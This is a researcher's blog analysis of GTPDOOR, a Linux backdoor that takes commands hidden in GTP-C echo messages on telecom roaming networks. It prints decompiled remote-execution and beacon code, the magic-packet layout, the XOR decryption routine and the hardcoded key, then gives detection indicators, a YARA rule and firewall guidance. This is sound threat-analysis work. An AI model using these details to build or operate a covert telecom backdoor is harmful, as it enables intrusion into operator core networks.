

GTPDOOR - A novel backdoor tailored for covert access over the roaming exchange

By haxrob


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This page was updated on the 8th of June, 2025 with an update on attribution.

Introduction

GTPDOOR is the name of Linux based malware that is intended to be deployed on systems in telco networks adjacent to the GRX (GRPS eXchange Network) with the novel feature of communicating C2 traffic over [GTP-C \(GPRS Tunnelling Protocol - Control Plane\)](#) signalling messages. This allows the C2 traffic to blend in with normal traffic and to reuse already permitted ports that maybe open and exposed to the [GRX network](#).

The following diagram illustrates a foreseen use of GTPDOOR. Here the actor already has established persistence on the roaming exchange network and access a compromised host by sending GTP-C Echo Request messages with a malicious payload:



In addition to remote code execution capability, GTPDOOR can be beaconsed by sending arbitrary TCP packets to a host the implant resides on. Supporting its stealth capability, the beacon response message hides particular information in a TCP header flag.

Naming

I have given this malware the name GTPDOOR as it uses a similar “port knocking / magic packet” technique as BPFDOOR as described [here](#) and [here](#). Both use raw sockets to intercept packets on the network interface. Unlike BPFDOOR, GTPDOOR explicitly uses GTP-C echo request/response messages and does not utilize BFP / pcap filters, but rather filters on UDP and GTP header values through simple `cmp` instructions. At the time of writing, I am not aware of this malware being documented anywhere else.

Attribution

GTPDOOR is attributed to LIMINAL PANDA.

GTPDOOR is likely attributed to UNC1945 ([Mandiant](#)) / LightBasin ([CrowdStrike](#))

As described in the [CrowdStrike article](#) this threat actor has been documented to use the GTP protocol for encapsulating tinysHELL traffic in a valid PDP context session by employing an SGSN emulator to tunnel traffic to an external GGSN in another operator network. Here, GTPDOOR is leveraging not off a PDP context (GTP-U, userplane) but specific GTP-C signalling messages with it's own extended message structure.

As we will see below, both binaries contain the name of the original c source file, `dnsc.c` . A google search links to a [presentation](#) by CrowdStrike about this threat actor that contains text from a process listing originating from what looks like a Solaris machine. In that listing is a process with the name `dnsc` :

```
root 25828 0.0 0.0 2760 1936 ? S Nov 25 8:31 ./dnsc e1000g1
MANPATH=/usr/share/man:/usr/sunvts/man:/opt/SUNWexplo/man:/opt/SUNWsneep/m
an:/opt/CTEact/man LC_MONETARY=en_US.ISO8859-1 TERM=xterm
```

If the attribution is correct, then given the discovery of this screenshot, it is likely that in addition to the two Linux binaries documented in this blog post, a third version exists which targets Sun Solaris systems.

Background information

In order to provide connectivity between telecommunication network operators around the globe, a “closed” network exists that provides interconnectivity between various systems. These network elements / functions need to have direct connectivity to the GRX network in order to route / forward roaming related signaling and user plane traffic. Examples of these systems are:

- eDNS - External DNS to resolve APN names, select packet gateway for routing the subscribers traffic
- SGSN, GGSN - 2G/3G packet core network elements for packet switched data
- P-GW (Packet Data Network Gateway) - 4G version of the GGSN
- STP - Signalling gateways for circuit switched routing (e.g. authentication to HLR/HSS) - specifically for SS7 signaling.
- DRA (Diameter Routing Agent) - 4G version of the STP, rather than SS7, the signaling traffic is over diameter.

These functions are listed as to give examples of where GTPDOOR could be placed as they may require direct connectivity to the GRX network. That is - providing opportunity for direct access into a telco's core network. It is more likely that it would be placed on systems that support GTP-C over GRX, such as SGSN, GGSN, PGW (which don't run some esoteric operating system). That said, if the GRX firewall is not configured right, there would be opportunities to place this type of implant elsewhere, or even within the internal core network.



A GSMA document called the `IR.21` is used for network providers to publish the details of these systems such as the GT (global titles), IP addresses, APNs etc. This list is used for other companies that have roaming agreements to

configure their network accordingly. Alternatively, they may exchange this information directly.

Summary of functionality

GTPDOOR supports the following:

- Listens for “magic” wakeup packet, a GTP-C echo request message (GTP type `0x01`). The host does not need to have a listening sockets / listening services active, as all UDP packets are received into the user space via opening a raw socket
- Executes a command on the host which is specified in the magic packet and returns the output to the remote host, supporting a “reverse shell” type functionality. Both request/responses are `GTP_ECHO_REQUEST` / `GTP_ECHO_RESPONSE` messages accordingly.
- Can be covertly probed from an external network to illicit a response by sending a TCP packet to any port number. If the implant is active a crafted empty TCP packet is returned along with information if the destination port was open/responding on the host.
- Authenticates and encrypts contents of magic GTP packet messages using a simple XOR cipher.
- At runtime can be instructed to change it’s authentication + encryption key (rekeying). This prevents the default key hardcoded in the binary to be used by other actors
- Blend in to environment by changing it’s process name to look like syslog process invoked as a kernel thread
- Does not require ingress firewall changes if the target host is allowed to communicate over the GTP-C port.

Versions

At the time of writing two versions have been identified on Virus Total:

| Version | Filename | Architecture | Hash |
|---------|-----------|--------------|--|
| 1 | dbus-echo | x86-64 | 827f41fc1a6f8a4c8a8575b3e2349aeaba0dfc2c9390ef1cceeef1bb85c34161 |
| 2 | pickup | i386 | 5cbafa2d562be0f5fa690f8d551cdb0bee9fc299959b749b99d44ae3fda782e4 |

`pickup` has additional enhancements/features to `dbus-echo`, and hence is assigned a higher version number.

At the time of writing, both samples have been uploaded to Virus Total in late 2023.

[Version 1](#) - 1 detection

1 security vendor and no sandboxes flagged this file as malicious

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827f41fc1a6f8a4c8a8575b3e2349aeaba0dfc2c9390ef1cc... | Size: 13.29 KB | Last Analysis Date: 4 months ago

dbus-echo | elf 64bits

Community Score: 1 / 63

DETECTION DETAILS BEHAVIOR CONTENT **TELEMETRY** COMMUNITY

| | | | |
|--|---|---------------------------------|-------------------------------|
| First seen 🇮🇹 ITALY 2023-06-14 10:33:42 UTC | Last seen 🇮🇹 ITALY 2023-06-14 10:33:42 UTC | Distinct submitters 1 | Total submissions 1 |
|--|---|---------------------------------|-------------------------------|

[Version 2](#) - 0 detections

No security vendors and no sandboxes flagged this file as malicious

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5cbafa2d562be0f5fa690f8d551cdb0bee9fc299959b749b... | Size: 18.63 KB | Last Analysis Date: 5 months ago

pickup | elf detect-debug-environment

Community Score: 0 / 63

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT **TELEMETRY** COMMUNITY

| | | | |
|--|---|---------------------------------|-------------------------------|
| First seen 🇨🇳 CHINA 2023-09-29 02:10:47 UTC | Last seen 🇨🇳 CHINA 2023-09-29 02:10:47 UTC | Distinct submitters 1 | Total submissions 1 |
|--|---|---------------------------------|-------------------------------|

Note: as of the 17th of March, 2024, there is now 37 detections

Both binaries were targeted for a particularly old Linux distribution, “Red Hat Linux 4.1”. This is the equivalent to RHEL 5.x. The GCC date is marked 2008. It is quite likely the target network operator of this implant had quite poor patch / lifecycle management.

```
$ file samples/dbus-echo
samples/dbus-echo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.9, not stripped
$
$ file samples/pickup
samples/pickup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamical
ly linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, not stripped
$
$ strings samples/dbus-echo | grep GCC | sort -u
GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-55)
$
$ strings samples/pickup | grep GCC | sort -u
GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-55)
$
```

2024-03-17 - for maximum ABI compatibility, compiling against old glibc versions increases the chance of binaries working in newer releases, so the targetted version may not be exact, although it would be expected to be within proximity to ensure stability.

As the binaries are not stripped, source code's original filename was likely `dnsc.c` :

```
$ readelf --syms samples/dbus-echo | grep FILE
 27: 0000000000000000  0 FILE   LOCAL  DEFAULT  ABS crtstuff.c
 35: 0000000000000000  0 FILE   LOCAL  DEFAULT  ABS crtstuff.c
 40: 0000000000000000  0 FILE   LOCAL  DEFAULT  ABS dnsc.c

$ readelf --syms samples/pickup | grep FILE
 27: 00000000  0 FILE   LOCAL  DEFAULT  ABS crtstuff.c
 35: 00000000  0 FILE   LOCAL  DEFAULT  ABS crtstuff.c
 40: 00000000  0 FILE   LOCAL  DEFAULT  ABS dnsc.c
```

Technical Details

GTP magic packet message types

The command instruction is sent in the GTP Echo Request message along with the associated data. As summarized:

GTPDOOR v1


| Message Type | Function | Payload |
|---------------------------------------|--|----------------------|
| <code>0x01</code> | Set new encryption key | New key |
| <code>0x02</code> | Write data to <code>system.conf</code> | File content |
| <code>0x03</code> - <code>0xFF</code> | Execute command and return output | Shell command to run |

GTPDOOR v2

| Message Type | Function | Payload |
|---|--|--|
| <code>0x01</code> | Set new encryption key | New key value |
| <code>0x02</code> | Write arbitrary data to <code>system.conf</code> | File content |
| <code>0x03</code> , <code>0x04</code> , <code>0x08</code> - <code>0xFF</code> | Execute command and return output | Shell command to run |
| <code>0x05</code> | IP address or subnet to access control list. | Multiple subnets or single IPs (/32) can be separated by a comma, e.g. 192.168.0.1/24,10.0.0.1 |
| <code>0x06</code> | Return ACL list | |
| <code>0x07</code> | Clear ACL | |

Magic packet format

The packet can be visually represented as followed:



As a “c-like struct”:

```
struct gtp_header
{
    uint8_t flags;
    uint8_t type;
```

```

uint16_t length;
uint32_t tei; // technically labelled spare if type == GTP_ECHO
};

struct gtpdoor_header
{
    uint8_t pad[5];
    int32_t key1;
    uint8_t cmdMsgType;
    uint16_t cmdLength;
};


struct gtpdoor_packet
{
    ip_header iph;
    udp_header udph;
    gtp_header gtph;
    gtpdoor_header gtpdoorh;
    uint8_t payload[2020];
};

```

Operational detail

Version 1 + 2:

- Checks if the length of it's filename is greater then 8 characters, and if so, process name stomps itself to become [syslogd] by overwriting argv . The length check is to ensure it does not corrupt the stack.
- Tells the parent process to ignore signals from it's child process be setting SIG_IGN for the SIGCHLD signal
- Creates a raw socket listening for UDP packets on port 2123 (GTP-C)



- Accepts UDP packets on destination port 2123 with a GTP header field type value of GTP_ECHO_REQUEST


```
lea rax, [rbp+packet]
mov [rbp+var_30], rax
mov [rbp+header_offset], 20 ; UDP header (iphdr == 20)
mov eax, [rbp+header_offset]
cdqe
mov rdx, rax
lea rax, [rbp+packet]
add rax, rdx
mov [rbp+var_20], rax
mov rax, [rbp+var_20]
movzx eax, word ptr [rax+2]
movzx edi, ax ; ntohs
call _ntohs
cmp ax, 2123 ; UDP 2123 == GTP-C
jnz short loc_400CD7
```

match UDP packets with dst port 2123

```
mov eax, [rbp+header_offset]
add eax, 8 ; GTP header (iphdr+udphdr == 20+8)
mov [rbp+header_offset], eax
mov eax, [rbp+header_offset]
cdqe
mov rdx, rax
lea rax, [rbp+packet]
add rax, rdx
mov [rbp+gtpHeader], rax
mov eax, [rbp+header_offset]
add eax, 0Ch
mov [rbp+header_offset], eax
mov rax, [rbp+gtpHeader]
movzx eax, byte ptr [rax+1] ; second byte is TYPE
cmp al, 1 ; GTP_ECHO_REQUEST
jnz loc_400CD7
```

match GTP packets with GTP_ECHO_REQUEST type

- Checks that the 32 bit symmetric key is correct in order to authenticate the message. The hardcoded value in the binary is 135798642, representative of someone typing odd numbers up the length of a keyboard even numbers back down again:



- Decrypts payload in GTP message using the same authentication key using a simple XOR at fixed blocks of the key size.

```

1 int64 __fastcall myDecryptFun(uint8_t key[4], unsigned __int8 keyIdx; // [rsp+33h] [rbp-5h]
2 {
3   unsigned __int8 keyIdx; // [rsp+33h] [rbp-5h]
4   int i; // [rsp+34h] [rbp-4h]
5
6   keyIdx = 0;
7   for ( i = 0; msgSize > i; ++i )
8   {
9     if ( keyIdx >= keySize )
10      keyIdx = 0;
11     payloadStart[i] = key[keyIdx++] ^ aaa[i];
12   }
13   return msgSize;
14 }
    
```

An equivalent implementation of the decryption routine in python:

```

def decrypt(key, ciphertext):
    key_idx = 0
    strlen = len(ciphertext)
    plaintext = bytearray(strlen)
    for i in range(strlen):
        if key_idx >= len(key):
            key_idx = 0
        plaintext[i] = key[key_idx] ^ ciphertext[i]
        key_idx += 1
    return plaintext
    
```

- Executes a function specified message type with the primary function to execute a shell command and return the result to the remote client via a `GTP_ECHO_RESPONSE` message

If the message type number is not explicitly defined, the action will fall back to the remote code execution function:

```
76     if ( !fork() )
77     {
78         memset(s, 0, 1500uLL);
79         v16 = remoteExec((const char *)gtpKeyMsg->data, s); // calls popen() to exec
80         printf("excute result is %s\n", s);
81         v17 = sendResult2Peer(fd, &packet, v10, (__int64)s, v16);
82         printf("send %d\n", v17);
83         exit(0);
84     }
85 }
86 if ( gtpKeyMsg->cmdMsgType == 1 )
87 {
88     *(_DWORD *)idkey = *(_DWORD *)gtpKeyMsg->data;
89     memset(s, 0, 0x32uLL);
90     sendResult2Peer(fd, &packet, v10, (__int64)s, strlen(s));
91 }
```


The above image also shows the approximate code for the “rekeying” message type.

- Can write arbitrary contents to a file, `system.conf` . It’s exact purpose is unknown.

Specific to version 2:

- Multithreaded (GTP magic packet handler and TCP probe beacon handler)

As the binary was not stripped and debug symbols left in, we can see the original function names `tcpMethod` and `gtpMethod` which run in two pthreads:



- Creates a mutex `/var/run/daemon.pid` to prevent more than once instance running. The mutex file contains the PID of the process
- Acknowledge it is alive by responding to any TCP packet on any port number with an empty TCP packet with both the `RST` and `ACK` flags set.

On “remote command execution”, the process is `forked()` and `popen()` is utilized to execute a subprocess on the host.

```
76 |     if ( !fork() )
77 |     {
78 |         memset(s, 0, 1500uLL);
79 |         v16 = remoteExec((const char *)gtpKeyMsg->data, s); // calls popen() to exec
80 |         printf("excute result is %s\n", s);
81 |         v17 = sendResult2Peer(fd, &packet, v10, (__int64)s, v16);
82 |         printf("send %d\n", v17);
83 |         exit(0);
84 |     }
85 | }
86 | if ( gtpKeyMsg->cmdMsgType == 1 )
87 | {
88 |     *(_DWORD *)idkey = *(_DWORD *)gtpKeyMsg->data;
89 |     memset(s, 0, 0x32uLL);
90 |     sendResult2Peer(fd, &packet, v10, (__int64)s, strlen(s));
91 | }
```

```

75 |     printf("receive %d, cmd type is %d and cmdl is %d\n", v13, gtpdoor->cmdMsgType, gtpdoor->cmdLength);
76 |     myDecryptFun(&idkey, 4u, gtpdoor->data, gtpdoor->cmdLength, gtpdoor->data);
77 |     if ( gtpdoor->cmdMsgType )
78 |         break;
79 | LABEL_32:
80 |     printf("cmd is %s\n", gtpdoor->data);
81 |     if ( !fork() )
82 |     {
83 |         memset(dest, 0, sizeof(dest));
84 |         v19 = remoteExec(gtpdoor->data, dest);
85 |         printf("excute result is %s\n", dest);
86 |         v20 = sendResult2Peer(fd, &s, v13, dest, v19);
87 |         printf("send %d\n", v20);
88 |         exit(0);
89 |     }
90 | }
91 | switch ( gtpdoor->cmdMsgType )
92 | {
93 |     case 1u:
94 |         idkey = *gtpdoor->data;

```

All `printf` statements such as those observed above are emitted to `stdout`. As such it is likely GTPDOOR would be invoked similar to the following (redirecting `stdin` and `stderr` to `/dev/null` and detaching from the parent process):


```
nohup ./gtpdoor 2>&1 2>/dev/null &
```

More on the probing feature

The TCP probe is a feature that allows an external host to probe the GRX listening address for TCP packets. A subnet filter is checked against the source IP address of the “client” and if it does **NOT** match, a reply beacon is sent to the (scanning) client. A crafted TCP `RST/ACK` response packet with the urgent pointer field set to `0x01` indicates the implant is running.

Based on the analysis of the behaviour, it appears that two types of scans are supported:

- TCP connect scan (simple TCP three way handshake)
- ACK scans (client sending an ACK message with no initial SYN)



TCP Connect Scan

For a TCP connect scan to work, there must be a service listening and port exposed on the host, either from a permissive firewall or no firewall at all. GTPDOOR will send a “decoy” TCP ACK/RST response on the initial TCP SYN from the client but with no identifying information to indicate GTPDOOR is running. It is the second TCP ACK/RST that is sent on the client’s ACK that has the urgent pointer set to signal GTPDOOR is running on the remote host.

ACK Scan

For an ACK scan to work, the condition would be no firewall or a non stateful firewall (so the TCP ACK is not dropped due to no initial SYN packet from the client). No service needs to listen the TCP beaconing port with an ACK scan: as with the GTP message handler, a raw socket is used to “intercept” all TCP packets.


The beacon response packet that is sent back to the probing host is manually assembled, copying the incoming packet’s relevant IP and TCP header fields into the outgoing beacon packet.

```

48 | hostlong = ntohl(tcpPktIn->ack_seq);
49 | tcpPktOut->source = tcpPktIn->dest;
50 | tcpPktOut->dest = tcpPktIn->source;
51 | if ( *(tcpPktIn + 13) == 16 ) // TCP ACK
52 | {
53 |     v24 = ntohs(ipPktIncoming->id);
54 |     pktCopy->id = htons(v24);
55 |     v3 = htonl(hostlong);
56 |     tcpPktOut->seq = v3;
57 |     v4 = htonl(incomingPktSeqNumber);
58 |     tcpPktOut->ack_seq = v4;
59 |     tcpPktOut->urg_ptr = htons(1u);
60 | }
61 | else if ( *(tcpPktIn + 13) == 2 ) // TCP SYN
62 | {
63 |     tcpPktOut->seq = htonl(0);
64 |     v5 = htonl(incomingPktSeqNumber + 1);
65 |     tcpPktOut->ack_seq = v5;
66 |     tcpPktOut->urg_ptr = htons(0);
67 | }
68 | *(tcpPktOut + 12) &= 0xF0u;
69 | *(tcpPktOut + 12) = *(tcpPktOut + 12) & 0xF | 0x50;
70 | *(tcpPktOut + 13) = 0x14; // TCP ACK/RST flags
71 | tcpPktOut->window = htons(0);
72 | pktIncomingDstAddr = ipPktIncoming->daddr;

```

The probe response packets will always have the ACK/RST flags set and the urgent pointer flags set according to if an TCP ACK was observed. This is a covert way of encoding messages by bit manipulation in the TCP header.



It is assumed that packets of this combination would be rare or non-existent in normal TCP/IP communication as the URG flag is set to 0, while the urgent pointer specifies a value. Additionally, this is occurring with the RST flag set.

[RFC0793](#) states that the urgent pointer has no meaning if the URG flag is not set:

```

URG
    A control bit (urgent), occupying no sequence space, used to
    indicate that the receiving user should be notified to do
    urgent processing as long as there is data to be consumed with
    sequence numbers less than the value indicated in the urgent
    pointer.

urgent pointer
    A control field meaningful only when the URG bit is on. This
    field communicates the value of the urgent pointer which
    indicates the data octet associated with the sending user's
    urgent call.

[Page 84]

September 1981

Transmission Control Protocol
    
```

We can observe the differences in a tcpdump. In the following a TCP connect() from the probe “client” on a non existing port 22222 has a probe response RST/ACK with the urgent pointer flat set to 0. The assumption here is that this is a “decoy” response to blend in RST/ACK responses for closed or open ports on the remote host.

```

81 6.341642 192.168.80.1 192.168.80.5 TCP 80 35248 → 2222 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=1855185642 TSecr=0
82 6.342058 192.168.80.5 192.168.80.1 TCP 66 2222 → 35248 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
Transmission Control Protocol, Src Port: 2222, Dst Port: 35248, Seq: 1, Ack: 1, Len: 0
Source Port: 2222
Destination Port: 35248
[Stream index: 0]
[Conversation completeness: Incomplete (37)]
[TCP Segment Len: 0]
Sequence Number: 1 (relative sequence number)
Sequence Number (raw): 0
[Next Sequence Number: 1 (relative sequence number)]
Acknowledgment Number: 1 (relative ack number)
Acknowledgment number (raw): 3165324348
0101 = Header Length: 70 bytes (5)
Flags: 0x014 (RST, ACK)
0000 ..... = Reserved: Not set
...0 ..... = Accurate ECN: Not set
...0 ..... = Congestion Window Reduced: Not set
...0 ..... = ECN-Echo: Not set
...0 ..... = Urgent: Not set
...01 ..... = Acknowledgment: Set
...0 ..... = Push: Not set
...1 ..... = Reset: Set
...0 ..... = Syn: Not set
...0 ..... = Fin: Not set
[TCP Flags: .....A.R..]
Window: 0
[Calculated window size: 0]
[Window size scaling factor: -1 (unknown)]
Checksum: 0x3b33 [unverified]
[Checksum Status: Unverified]
Urgent Pointer: 0
0000 08 00 00 00 00 00 02 00 01 00 06 08 00 27 b7 .....
0010 53 c9 00 00 45 00 00 28 00 00 40 00 40 06 19 79 S...E...(:D)@...y
0020 c0 a8 50 05 c0 a8 50 01 08 ae 89 b0 00 00 00 00 ...P...P...Zn...
0030 bc ab 04 3c 50 14 00 00 3b 33 00 00 00 00 00 00 ...P...;3...
0040 00 00

```

On the other hand, when the client connects to an open port 22 (SSH), the probe response includes a RST/ACK but this time with the urgent pointer set to 1

| No. | Time | Source | Destination | Protocol | Length | Info |
|-----|----------|--------------|--------------|----------|--------|--|
| 86 | 5.269623 | 192.168.80.1 | 192.168.80.5 | TCP | 72 | 43758 → 22 [FIN, ACK] Seq=5 Ack=1 Win=64256 Len=0 TSval=1855063320 TSecr=146079196 |
| 87 | 5.269946 | 192.168.80.5 | 192.168.80.1 | TCP | 66 | 22 → 43758 [RST, ACK] Seq=530944311 Ack=1 Win=0 Len=0 |
| 88 | 5.270282 | 192.168.80.5 | 192.168.80.1 | TCP | 66 | 22 → 43758 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 |
| 89 | 5.273680 | 192.168.80.5 | 192.168.80.1 | SSH | 92 | Server: Protocol (SSH-2.0-OpenSSH_4.3) |
| 90 | 5.273691 | 192.168.80.1 | 192.168.80.5 | TCP | 60 | 43758 → 22 [RST] Seq=6 Win=0 Len=0 |
| 91 | 5.280284 | 192.168.80.5 | 192.168.80.1 | SSH | 91 | Server: Encrypted packet (len=19) |
| 92 | 5.280291 | 192.168.80.1 | 192.168.80.5 | TCP | 60 | 43758 → 22 [RST] Seq=6 Win=0 Len=0 |

```

Transmission Control Protocol, Src Port: 22, Dst Port: 43758, Seq: 1, Ack: 1, Len: 0
Source Port: 22
Destination Port: 43758
[Stream index: 0]
[Conversation completeness: Complete, WITH_DATA (63)]
[TCP Segment Len: 0]
Sequence Number: 1 (relative sequence number)
Sequence Number (raw): 3764022986
[Next Sequence Number: 1 (relative sequence number)]
Acknowledgment Number: 1 (relative ack number)
Acknowledgment number (raw): 898351064
0101 = Header Length: 70 bytes (5)
Flags: 0x014 (RST, ACK)
0000 ..... = Reserved: Not set
...0 ..... = Accurate ECN: Not set
...0 ..... = Congestion Window Reduced: Not set
...0 ..... = ECN-Echo: Not set
...0 ..... = Urgent: Not set
...01 ..... = Acknowledgment: Set
...0 ..... = Push: Not set
...1 ..... = Reset: Set
...0 ..... = Syn: Not set
...0 ..... = Fin: Not set
[TCP Flags: .....A.R..]
Window: 0
[Calculated window size: 0]
[Window size scaling factor: 128]
Checksum: 0x9eee [unverified]
[Checksum Status: Unverified]
Urgent Pointer: 1
0000 08 00 00 00 00 00 02 00 01 00 06 08 00 27 b7 .....
0010 53 c9 00 00 45 00 00 28 90 44 00 00 40 06 c9 34 S...E...(:D)@...4
0020 c0 a8 50 05 c0 a8 50 01 00 16 aa ee e0 5a 6e ca ...P...P...Zn...
0030 35 8b bf d8 50 14 00 00 9e ea e0 01 00 00 00 00 ...P...;3...
0040 00 00

```

ACL functionality

It is not known if the ACL is intended to be a deny list or allow list - there are pros and cons of explicitly denying IP subnets from probing:

- Avoid keeping threat actor C2 infrastructure network/IPs resident in memory
- Specify internal victim networks or host IPs to prevent causing traffic disruption from beaconed TCP reset messages.

Based on analysis of the samples alone, the author assumes this behaviour is intentional. The threat actor can change their C2 infrastructure or intermediate transit hosts without loosing the ability to send probe messages.

It is likely that the RST/ACK responses from an initial SYN packet is there as a decoy - a casual review of a network capture would result in one assuming that this is normal behaviour of the firewall or hosts TCP/IP stack. One would have to notice that the RST/ACK packet has the urgent pointer field set only for incoming ACK packets. Tricky indeed!

An approximation of the ACL filtering. Note the ! on line 118 :

```

94 | if ( pktIncomingDstAddr == local_grx_addr ) // set when GTP magic packet recieved prior
95 | {
96 |   if ( *(tcpPacketIncoming + 13) == 0x10 || (tmp = *(tcpPacketIncoming + 13), tmp == 2) )// TCP SYN or SYN/ACK
97 |   {
98 |     ipInSubnet = 0;
99 |     pthread_mutex_lock(&mut_accept_addr_list);
100 |     for ( i = 0; i <= 4; ++i )
101 |     {
102 |       if ( !acceptiplist[2 * i] )
103 |       {
104 |         if ( !i )
105 |           ipInSubnet = 1; // no address set in ACL
106 |         break;
107 |       }
108 |       acceptNetmask = -1 << (32 - maskArray[2 * i]);
109 |       acceptIpListMasked = acceptNetmask & acceptiplist[2 * i];
110 |       srcAddressAndMask = acceptNetmask & matchSrcAddr;
111 |       if ( acceptIpListMasked == (acceptNetmask & matchSrcAddr) )// packet src address is in ACL net
112 |       {
113 |         ipInSubnet = 1;
114 |         break;
115 |       }
116 |     }
117 |     tmp = pthread_mutex_unlock(&mut_accept_addr_list);
118 |     if ( !ipInSubnet ) // do not send probe response as IP in ACL
119 |     {
120 |       printf("send ret message to addr : %s\n", pktSrcAddr);
121 |       tmp = sendto(sockfd, pktOutgoing, 0x28u, 0, &addr, n);
122 |       prResult = tmp;
123 |       if ( tmp > 0 )
124 |         tmp = printf("send ret message reply ok,ret_l is %d\n", prResult);
125 |     }
126 |   }
127 | }

```

Notably one condition before TCP packets are “intercepted” by the process is the global variable local_grx_addr must be set first. This is set based on the destination IP address in any GTP-C packet that is received.

Another condition is that the ACL must have at least one subnet or IP defined for the probe feature to be operational.

Detection

- GTPDOOR can be identified by listing raw sockets open on the system, e.g. via lsof , looking for SOCK_RAW or raw .

netstat -lp --raw also shows listening sockets:

```

$ netstat -lp --raw
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
raw      0      0 0.0.0.0:udp             0.0.0.0:*               7          4005/[syslogd]
raw6     0      0 [::]:ipv6-icmp         [::]:*                  7          547/NetworkManager
raw6     0      0 [::]:ipv6-icmp         [::]:*                  7          547/NetworkManager

```

- Process name stomped files that are disguised as kernel threads can be identified by their parent process not being kthreadd . In the following screenshot the PPID of the backdoor is 1935 , while the other kernel thread parent IDs are 2 :

| | | | | | | | |
|------|------|------|---|-------|---|----------|-------------------------------|
| root | 3662 | 2 | 0 | 05:26 | ? | 00:00:07 | [kworker/0:1-events] |
| root | 3756 | 2 | 0 | 07:29 | ? | 00:00:04 | [kworker/1:2-events] |
| root | 3807 | 2 | 0 | 07:29 | ? | 00:00:00 | [kworker/3:1] |
| root | 4005 | 1935 | 0 | 09:31 | ? | 00:00:00 | [syslogd] |
| root | 4024 | 2 | 0 | 09:34 | ? | 00:00:00 | [kworker/2:1-ata_sff] |
| root | 4074 | 2 | 0 | 09:57 | ? | 00:00:00 | [kworker/u8:2-events_unbound] |
| root | 4119 | 2 | 0 | 10:03 | ? | 00:00:00 | [kworker/0:2] |
| root | 4145 | 2 | 0 | 10:09 | ? | 00:00:00 | [kworker/u8:0-events_unbound] |

- The presence of the mutex `/var/run/daemon.pid` could be an indicator.
- The presence of the file `system.conf` could be an indicator.

Yara rule for threat hunting:

```
rule Linux_Malware_GTPDOOR_v1v2
{
  meta:
    description = "Detects GTPDOOR"
    author = "@haxrob"
    data = "28/02/2024"
    reference = "https://doubleagent.net/telecommunications/backdoor/gtp/2024/02/27/GTPDOOR-COVERT-T
    hash1 = "827f41fc1a6f8a4c8a8575b3e2349aeaba0dfc2c9390ef1cceeef1bb85c34161"
    hash2 = "5cbafa2d562be0f5fa690f8d551cdb0bee9fc299959b749b99d44ae3fda782e4"

  strings:
    $s1 = "excute result is" ascii fullword
    $s2 = "idkey not correct" ascii fullword
    $s3 = "send ret message" ascii fullword

  condition:
    uint16(0) == 0x457f and
    2 of them and
    filesize < 20KB
}
```

Defence

GSMA has released two relevant guidelines:

- [FS.31 GSMA Baseline Security Controls](#)
- [IR.77 Inter-Operator IP Backbone Security Requirements For Service Providers and Inter-operator IP backbone Providers](#)

GTP Firewall

GTPDOOR handles malformed GTP packets. In the following test, the GTP protocol type of `0` (GTP prime - charging related) is set in custom client. GTP' does not work over the GTP-C port. Additionally the extension header is corrupt. The GTPDOOR message encrypted payload is appended on the GTP message. As such, a GTP capable firewall may detect and drop abnormal packets like this.

| No. | Time | Source | Destination | Protocol | Length | Info |
|-----|-----------|--------------|--------------|----------|--------|--------------------------------|
| 1 | 0.000000 | 192.168.80.1 | 192.168.80.5 | GTP | 74 | Echo request[Malformed Packet] |
| 2 | 19.252402 | 192.168.80.1 | 192.168.80.5 | GTP | 74 | Echo request[Malformed Packet] |
| 3 | 19.254712 | 192.168.80.5 | 192.168.80.1 | GTP | 164 | Echo response |
| 4 | 19.254817 | 192.168.80.1 | 192.168.80.5 | GTP | 86 | [Echo request] |
| 5 | 19.255481 | 192.168.80.5 | 192.168.80.1 | GTP | 86 | Echo response |

| | | | | |
|--|--|------|---|----------------|
| > Frame 4: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) | | 0000 | 88 0c 00 00 00 00 02 00 01 04 06 08 00 27 2c | |
| > Linux cooked capture v2 | | 0010 | 00 e3 00 00 45 00 00 42 30 05 40 00 40 11 e9 4e | ...E B 0 @ @-N |
| > Internet Protocol Version 4, Src: 192.168.80.1, Dst: 192.168.80.5 | | 0020 | c0 a8 50 01 c0 a8 50 05 89 b3 08 4b 00 2e 21 97 | ..P...K..I |
| > User Datagram Protocol, Src Port: 35251, Dst Port: 2123 | | 0030 | 00 01 a2 a1 a4 a3 00 00 a5 a6 a7 a8 a9 01 02 03 | |
| > GPRS Tunneling Protocol Prime | | 0040 | 04 72 1f 18 08 05 0e 00 43 26 2a 26 43 29 20 26 |C&*8C) & |
| > Flags: 0x00 | | 0050 | 42 31 2a 27 40 2b | B1*!@+ |
| > ...0 ... = Version: 0 | | | | |
| > ...0 ... = Protocol type: GTP' (0) | | | | |
| > ...0 ... = Reserved: 0 | | | | |
| > ...0 ... = Header length: 20-Octet Header | | | | |
| Message Type: Echo request (0x01) | | | | |
| Length: 41633 | | | | |
| Sequence number: 0xa4a3 (42147) | | | | |
| Dummy octets: 0000a5a6a7a8a901020304721f18 | | | | |
| Reordering required: True | | | | |
| Recovery: 0 | | | | |
| > Unknown extension header | | | | |
| > [Expert Info (Warning/Protocol): Unknown extension header] | | | | |
| > [Unknown extension header] | | | | |
| > [Severity level: Warning] | | | | |
| > [Group: Protocol] | | | | |
| > [Response In: 5] | | | | |

Firewalling

- The inbound UDP port is required to be open for systems that require it on the GRX network. Firewall rules should be explicit enough to drop these packets inbound for any system that does not use the GTP protocol
- Aggressive rules to block inbound TCP connections via the GRX - There is not a lot that actually needs to be open
- Probe TCP packets with RST/ACK flag set could be dropped on the GRX firewall

Active GTPDOOR network scanner

A multithreaded network scanner is available which can be used to scan remotes hosts in attempt to detect the presence of GTPDOOR:

<https://github.com/haxrob/gtpdoor-scan/>

Source: <https://doubleagent.net/telecommunications/backdoor/gtp/2024/02/27/GTPDOOR-COVERT-TELCO-BACKDOOR>